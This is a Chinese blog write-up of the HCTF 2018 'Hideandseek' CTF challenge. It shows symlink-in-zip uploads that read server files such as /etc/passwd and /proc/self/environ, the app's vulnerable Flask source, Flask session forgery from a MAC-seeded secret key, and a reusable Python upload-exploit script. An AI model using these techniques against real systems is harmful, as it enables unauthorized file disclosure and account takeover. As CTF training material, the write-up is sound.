• BUU [HCTF 2018]Hideandseek


    BUU [HCTF 2018]Hideandseek

    考点:

    1. 软连接读取任意文件
    2. Flask伪造session
    3. /proc/self/environ文件获取当前进程的环境变量列表
    4. random.seed()生成的伪随机数种子
    5. MAC地址(存放在/sys/class/net/eth0/address文件)

    国赛的时候遇见过软连接,这次再来学习一下,也算是一个心病了。

    先介绍一下什么是软连接。


    Linux中包括两种链接:硬链接(Hard Link)软链接(Soft Link),软链接又称为符号链接(Symbolic link)。

    【硬连接】
    硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。

    image-20230904233324632

    【软连接】
    软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是:当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令 链接(link)就可以,不必重复的占用磁盘空间。

    [索引节点(inode)]

    要了解链接,我们首先得了解一个概念,叫索引节点(inode)。在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,我们可以将inode简单理解成一个指针,它永远指向本文件的具体存储位置。文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存在,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。


    软连接用法:

    创建软链接

    ln -s [源文件或目录] [目标文件或目录]

    //当前路径创建test 引向/var/www/test 文件夹 
    ln –s  /var/www/test  test
    
    //创建/var/test 引向/var/www/test 文件夹 
    ln –s  /var/www/test   /var/test
    
    • 1
    • 2
    • 3
    • 4
    • 5

    删除软链接

    //删除test
    rm –rf test
    
    • 1
    • 2

    修改软链接

    ln –snf [新的源文件或目录] [目标文件或目录]

    这将会修改原有的链接地址为新的地址

    //创建一个软链接
    ln –s /var/www/test /var/test
    
    //修改指向的新路径
    ln –snf /var/www/test1 /var/test
    
    • 1
    • 2
    • 3
    • 4
    • 5

    常用参数:

    -f : 链结时先将与 dist 同档名的档案删除
    -d : 允许系统管理者硬链结自己的目录
    -i : 在删除与 dist 同档名的档案时先进行询问
    -n : 在进行软连结时,将 dist 视为一般的档案
    -s : 进行软链结(symbolic link)
    -v : 在连结之前显示其档名
    -b : 将在链结时会被覆写或删除的档案进行备份
    -S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾
    -V METHOD : 指定备份的方式
    –help : 显示辅助说明
    –version : 显示版本


    开始做题。

    image-20230904235831283

    当前页面只有登录一个功能可以用,其他都不会跳转。尝试登录。

    发现任意用户密码均可登录,但是唯独不能登录admin。

    image-20230905000046680

    登录后有一个上传文件点。提示我们上传.zip后缀的压缩包。

    image-20230905000029173

    随便上传一个.php试试水,发现只能上传.zip压缩包。

    image-20230905000610108

    压缩包很容易让人想到软连接,尝试先随便上传一个.zip压缩包。没有任何回显。

    image-20230905113628143

    然后上传一个内容为软连接的压缩包,尝试读取/etc/passwd文件。

    linux中输入命令制作软连接压缩包。

    ln -s /etc/passwd passwd
    zip -y passwd.zip passwd
    
    rm –rf passwd
    
    • 1
    • 2
    • 3
    • 4

    image-20230905114442570

    然后上传,发现成功回显服务端/etc/passwd的内容。

    image-20230905115301828

    那理论上来说,我们也能直接读取/flag的内容。但是尝试了一下却失败了。。。

    猜测可能是权限不足,需要以admin身份登录才能有权限读取/flag。如何登录admin,信息搜集一下发现了session,服务端应该是通过session判断身份的,我们需要伪造session。同时,通过session判断出使用了flask的框架。

    image-20230905115550975

    下载一个工具flask_unsign,文件夹内开终端。工具只能解密爆破不出密码,只能自己找了。

    flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'
    
    得到{'username': '111'}
    
    • 1
    • 2
    • 3

    image-20230905115942110

    伪造session需要secret_key,尝试找一下源码。

    因为已经通过软连接读取任意文件,我们尝试读取/proc/self/environ文件,以获取当前进程的环境变量列表,包括flask下的环境变量。
    解释以下,其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而/environ是当前进程的环境变量列表。

    ln -s /proc/self/environ self
    zip -y self.zip self
    
    rm –rf self
    
    • 1
    • 2
    • 3
    • 4

    成功读取/proc/self/environ文件后。

    image-20230905121847888

    我们注意到UWSGI_INI=/app/uwsgi.ini。也就是uwsgi服务器的配置文件,其中可能包含有源码路径。

    client —> nginx —> uwsgi --> flask后台程序 (生产上一般都用这个流程)

    我们以同样的方式制作软连接读取

    ln -s /app/uwsgi.ini uwsgi
    zip -y uwsgi.zip uwsgi
    
    rm –rf uwsgi
    
    • 1
    • 2
    • 3
    • 4

    image-20230905121928718

    得到源码路径,但是BUU环境有问题,这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,我们也以这个路径来做题,继续软连接读取源码。

    ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
    zip -y main.zip main
    
    rm –rf main
    
    • 1
    • 2
    • 3
    • 4

    Ctrl+U看得更加清楚一点。

    image-20230905122141655

     # -*- coding: utf-8 -*-
    from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
    import uuid
    import base64
    import random
    import flag
    from werkzeug.utils import secure_filename
    import os
    random.seed(uuid.getnode())
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(random.random()*100)
    app.config['UPLOAD_FOLDER'] = './uploads'
    app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
    ALLOWED_EXTENSIONS = set(['zip'])
    
    def allowed_file(filename):
        return '.' in filename and \
               filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
    
    
    @app.route('/', methods=['GET'])
    def index():
        error = request.args.get('error', '')
        if(error == '1'):
            session.pop('username', None)
            return render_template('index.html', forbidden=1)
    
        if 'username' in session:
            return render_template('index.html', user=session['username'], flag=flag.flag)
        else:
            return render_template('index.html')
    
    
    @app.route('/login', methods=['POST'])
    def login():
        username=request.form['username']
        password=request.form['password']
        if request.method == 'POST' and username != '' and password != '':
            if(username == 'admin'):
                return redirect(url_for('index',error=1))
            session['username'] = username
        return redirect(url_for('index'))
    
    
    @app.route('/logout', methods=['GET'])
    def logout():
        session.pop('username', None)
        return redirect(url_for('index'))
    
    @app.route('/upload', methods=['POST'])
    def upload_file():
        if 'the_file' not in request.files:
            return redirect(url_for('index'))
        file = request.files['the_file']
        if file.filename == '':
            return redirect(url_for('index'))
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            if(os.path.exists(file_save_path)):
                return 'This file already exists'
            file.save(file_save_path)
        else:
            return 'This file is not a zipfile'
    
    
        try:
            extract_path = file_save_path + '_'
            os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
            read_obj = os.popen('cat ' + extract_path + '/*')
            file = read_obj.read()
            read_obj.close()
            os.system('rm -rf ' + extract_path)
        except Exception as e:
            file = None
    
        os.remove(file_save_path)
        if(file != None):
            if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
                return redirect(url_for('index', error=1))
        return Response(file)
    
    
    if __name__ == '__main__':
        #app.run(debug=True)
        app.run(host='0.0.0.0', debug=True, port=10008)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86

    浏览源码,SECRET_KEY是由python的随机函数random()生成的,种子是uuid.getnode()。和PHP一样,python的random()函数也是伪随机数,只要我们知道了种子uuid.getnode()是多少,拿到随机数生成的密钥SECRET_KEY不是问题。

    image-20230905123404478

    python中uuid.getnode()方法以48正整数形式获取硬件地址,也就是服务器的MAC地址。

    image-20230905122713947

    现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。

    查找到MAC地址存放在/sys/class/net/eth0/address文件中,软连接读取该文件:

    ln -s /sys/class/net/eth0/address mac
    zip -y mac.zip mac
    
    rm –rf mac
    
    • 1
    • 2
    • 3
    • 4

    也有其他方法找mac地址:
    img

    c6:1b:39:ac:ff:91c61b39acff91转十进制是217820234055569

    image-20230905123426918

    image-20230905124342582

    本地跑一下密钥就出来。是76.9034879300039

    image-20230905123740256

    kali中flask_session_cookie_manager3工具文件夹下开终端。

    python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"
    
    • 1

    得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

    image-20230905123926670

    成功登录admin账号,也不用再读取flag了,直接给了。

    image-20230905124005684


    找到一个软连接脚本:

    import os
    import requests
    import sys
    
    
    def make_zip():
        os.system('ln -s ' + sys.argv[2] + ' test_exp')
        os.system('zip -y test_exp.zip test_exp')
    
    
    def run():
        make_zip()
        res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
        print(res.text)
    
        os.system('rm -rf test_exp')
        os.system('rm -rf test_exp.zip')
    
    
    if __name__ == '__main__':
        run()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
  • 相关阅读:
    python random应用实例 从可选池随机选取指定个数的元素并随机排序
    JavaScript前端接收流式数据
    计算机毕业设计选题推荐-课程学习微信小程序/安卓APP-项目实战
    java项目-第144期ssm农产品供销服务系统-java毕业设计_计算机毕业设计
    Java【手撕滑动窗口】LeetCode 438. “字符串中所有异位词“, 图文详解思路分析 + 代码
    C1. Pokémon Army (easy version)
    C++语法——指针和引用
    506页18万字煤矿数字化矿山技术解决方案
    【YOLO5Face】《YOLO5Face:Why Reinventing a Face Detector》
    docker套娃实践(待续)
  • 原文地址:https://blog.csdn.net/Jayjay___/article/details/132922198